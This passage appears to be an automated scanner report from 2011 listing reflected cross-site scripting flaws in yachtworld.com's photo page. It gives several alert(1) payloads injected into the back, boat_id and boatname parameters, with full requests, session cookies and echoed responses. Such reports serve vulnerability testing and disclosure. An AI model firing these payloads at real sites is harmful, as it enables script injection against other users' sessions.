The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:43 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35513
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004 regulator da9fa"><script>alert(1)</script>dc4f88da9f6701ea3 Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the back request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1ae0"><script>alert(1)</script>36fac5af912 was submitted in the back parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-Statesd1ae0"><script>alert(1)</script>36fac5af912 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:17 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d874'%3balert(1)//6c6594103ea was submitted in the boat_id parameter. This input was echoed as 9d874';alert(1)//6c6594103ea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/displayPhoto.jsp?boat_id=22664769d874'%3balert(1)//6c6594103ea&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:32:46 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "22664769d874';alert(1)//6c6594103ea"<br> ...[SNIP]...
The value of the boatname request parameter is copied into the HTML document as plain text between tags. The payload 92195<script>alert(1)</script>11ea7dea924 was submitted in the boatname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**92195<script>alert(1)</script>11ea7dea924&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:08 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <h1>32' 32 Regulator WITH TRAILER **REDUCED**92195<script>alert(1)</script>11ea7dea924</h1> ...[SNIP]...
The value of the boatname request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fc50"><script>alert(1)</script>22d2fa69268 was submitted in the boatname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**2fc50"><script>alert(1)</script>22d2fa69268&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:02 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the boatname request parameter is copied into the HTML document as text between TITLE tags. The payload f3c24</title><script>alert(1)</script>434c56e2e6b was submitted in the boatname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**f3c24</title><script>alert(1)</script>434c56e2e6b&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:13 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
